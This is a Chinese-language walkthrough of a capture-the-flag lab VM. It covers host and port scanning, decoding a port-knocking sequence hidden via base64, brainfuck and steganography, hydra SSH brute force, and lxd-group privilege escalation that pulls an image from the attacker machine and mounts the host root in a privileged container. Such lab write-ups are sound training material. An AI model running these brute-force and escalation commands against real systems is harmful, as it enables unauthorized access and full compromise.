一、靶场搭建

1. 靶场描述

Focus on general concepts about CTF
Difficulty: Medium
This works better with VirtualBox rather than VMware.

描述:推荐使用virtualBox创建虚拟机,中等难度。

2. 下载靶机环境

靶场源地址点击跳转,点击图中标注处下载靶场源文件。

image.png

下载完成的文件如下:

image.png

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失,对应文件的校验码官方网址会提供。


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 靶场搭建

使用VMware打开对应的ova文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT模式,然后点击启动就行。

image.png

image.png

如果你在使用vmware打开虚拟机时,虚拟机一直停在freeing smp alternatives memory:40k无法启动成功,可以尝试进行硬件兼容性,设置对应的为ESXI7.0

二、渗透靶场

1. 确定靶机IP

确定靶机IP的步骤:

  1. 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
  2. nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.129/24

image.png

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为192.168.37.128.

2. 探测靶场开放端口及对应服务

探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。中途重启了电脑,导致靶机ip变成了192.168.37.130

# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.130

结果图:
image.png

可以确认主机开放了80,端口对应的是http服务。通过浏览器访问web服务。

image.png

3. 扫描网络目录结构

通过dirsearch扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。

# 扫描目录结构命令
sudo dirsearch -u http://192.168.37.130 -x 404  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image.png

接下来就是依次访问这些路径。

4. 敏感数据获取

在backup目录获取到一个字典文件wordlist.txt,推测应该是账号或者密码的字典,先使用wget下载到本地。

image.png

看首页的源代码,发现作者的提示信息。从提示中可以得到的信息: 1. 一个用户名jubiscleudo(可和之前的字典文件搭配,可以进行ssh爆破登录).2.靶机设置端口敲门服务。3. 需要关注jpg文件。4. 一个邮件地址。

image.png

知道靶机设定了端口敲门服务,接下来就需要知道敲门的端口序列。第一个位于config/1.txt里面。内容通过了base64编码,通过指定python代码进行解码,得知值为10000

image.png

import base64
import file_util
import sys


def encode_base64(data: bytes) -> str:
    """
    对输入的字节数据进行 Base64 编码。

    :param data: 要编码的字节数据
    :return: 编码后的 Base64 字符串
    """
    return base64.b64encode(data).decode('utf-8')


def decode_base64(encoded_data: str) -> bytes:
    """
    对输入的 Base64 字符串进行解码。

    :param encoded_data: Base64 编码的字符串
    :return: 解码后的字节数据
    """
    return base64.b64decode(encoded_data).decode("utf-8")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python *.py filepath")
        sys.exit(0)
    file_path = sys.argv[1]
    content = file_util.get_file_content(file_path)
    if not content:
        print("file don't have content")
        sys.exit(0)
    print(decode_base64(content.encode("utf-8")))

第二个端口保存在css/2.txt中,通过使用brainfuck进行编码,可以使用以下这段python代码进行解码。得知第二个端口为4444.

import file_util
import sys


def brainfuck_interpreter(code, input_data=""):
    """
    解码
    :param code: 
    :param input_data: 
    :return: 
    """
    tape = [0] * 30000  # 初始化 tape,有 30,000 个内存单元
    pointer = 0  # 指针位置
    code_pointer = 0  # 代码位置
    input_pointer = 0  # 输入位置
    output = []  # 输出结果
    brackets = []  # 跳转位置的栈

    while code_pointer < len(code):
        command = code[code_pointer]

        if command == ">":
            pointer += 1
        elif command == "<":
            pointer -= 1
        elif command == "+":
            tape[pointer] = (tape[pointer] + 1) % 256
        elif command == "-":
            tape[pointer] = (tape[pointer] - 1) % 256
        elif command == ".":
            output.append(chr(tape[pointer]))
        elif command == ",":
            if input_pointer < len(input_data):
                tape[pointer] = ord(input_data[input_pointer])
                input_pointer += 1
            else:
                tape[pointer] = 0
        elif command == "[":
            if tape[pointer] == 0:
                # 跳到对应的 "]"
                open_brackets = 1
                while open_brackets > 0:
                    code_pointer += 1
                    if code[code_pointer] == "[":
                        open_brackets += 1
                    elif code[code_pointer] == "]":
                        open_brackets -= 1
            else:
                brackets.append(code_pointer)
        elif command == "]":
            if tape[pointer] != 0:
                code_pointer = brackets[-1]
            else:
                brackets.pop()

        code_pointer += 1

    return "".join(output)


def string_to_brainfuck(input_string):
    """
    编码
    :param input_string: 
    :return: 
    """
    code = []
    current_value = 0  # 当前指针位置的值

    for char in input_string:
        target_value = ord(char)
        diff = target_value - current_value

        # 使用循环来减少字符
        if diff > 0:
            # 找出适当的倍数来创建一个循环
            num_loops = diff // 10
            remainder = diff % 10

            # 循环操作
            if num_loops > 0:
                code.append('+' + '[' + '>' + '+' * 10 + '<' + ']' * num_loops)

            # 剩余的差值
            if remainder > 0:
                code.append('+' * remainder)
        elif diff < 0:
            # 同样处理负差值
            num_loops = (-diff) // 10
            remainder = (-diff) % 10

            if num_loops > 0:
                code.append('-' + '[' + '>' + '-' * 10 + '<' + ']' * num_loops)

            if remainder > 0:
                code.append('-' * remainder)

        # 输出当前字符
        code.append('.')

        # 更新当前指针位置的值
        current_value = target_value

    return ''.join(code)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python *.py filepath")
        sys.exit(0)
    file_path = sys.argv[1]
    content = file_util.get_file_content(file_path)
    if not content:
        print("file don't have content")
        sys.exit(0)
    print(brainfuck_interpreter(content))

第三个端口的保存位置,在3.jpg中,和之前靶机作者的提示呼应上了,是个jpg文件。猜测使用了隐写。首先通过wget把图片下载下来。得知第三个为65535

sudo wget http://192.168.37.130/3.jpg

# 查看隐藏的文件信息
steghide info 3.jpg
# 提取内嵌文件
sudo steghide extract  -sf  3.jpg
# 查看文件内容
cat steganopayload148505.txt

image.png

在网页上另外没有找到什么端口信息,接下来直接进行端口敲门。

knock 192.168.37.130 10000 4444 65535

多次敲门之后发现,靶机端口一直不开放,最后登录靶机之后,发现靶机的knockd服务挂了,需要修改。在登录靶机键盘输入有问题,如果你遇到这个问题,可以根据以下命令进行修复。

# 检查键盘布局状态
localectl status
# 设置键盘布局为us
sudo loadkeys us

# 修改knocked配置文件,修改为正确的网络接口,对应你敲门的ip的接口
vim /etc/default/knockd
# 启动服务
systemctl start knockd

image.png

修复完这些问题之后,重新进行敲门,发现靶机22端口开放了。

image.png

5. 获取shell

ssh端口开放之后,我们利用之前网站得到的用户名和字典进行ssh爆破登录尝试,使用hydra程序进行。成功爆破出账号和密码。

# -l 指定登录名 -P 指定登录密码字典
hydra -l jubiscleudo -P ./wordlist.txt ssh://192.168.37.130

image.png

image.png

6. 提权

进入目标系统中之后,我个人思路一般就是先从这个地方查看是否存在提权地方

  1. 检查suid文件,并查看对应文件创建者身份。
  2. 检查sudo -l,是否有可利用的点。
  3. 检查/etc/crontab定时任务,并且查看对应文件权限。
  4. 检查/etc/passwd/etc/shadow文件,是否可以进行读取,可以读取就有几率爆破出其它用户的密码。
  5. 检查系统是否存在敏感信息,比如某个用户家目录存储了密码、系统备份文件、查看密码记录等等。
  6. 检查是否存在内核漏洞,可以用来提权的。

6.1 敏感信息获取

在查询系统的备份文件的时候,发现了用户的敏感信息。发现了另一个用户的密码TrOLLED_3

find / -name "*backup*" 2>>/dev/null

image.png

image.png

6.2 lxd提权

切换至hackable_3用户之后,发现这个用户属于lxd组,可以lxd进行提权。

image.png

简单介绍一下lxd提权:

  • lxd(Linux Daemon)是一个轻量级容器管理程序,lxd基于lxc容器技术实现。
  • lxc(Linux Container)是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

lxd提权,就是利用lxd创建一个容器,然后把宿主机的磁盘挂载到容器内部,然后用容器的权限去操作宿主机磁盘内容从而提权。

接下来进行具体的提权步骤

# 在攻击机上运行
# 下载 alpine镜像
git clone https://github.com/saghul/lxd-alpine-builder.git
# alpine镜像构建, 比如使用root用户才能执行
cd lxd-alpine-builder   
sudo ./build-alpine
python3 -m http.server 80


# 靶机下载对应镜像文件
wget http://192.168.37.22/alpine-v3.13-x86_64-20210218_0139.tar.gz
# 镜像导入
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
# 初始化lxd
lxd init
# 配置镜像
lxc init test test -c security.privileged=true
# 挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true

# 启动容器
lxc start test
# 进入容器后台
lxc exec test /bin/sh
id
# 进入挂载本地根目录对应的容器目录
cd /mnt/root
cd root

cat root.txt

成功获取到最终root目录下的flag文件。

image.png

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部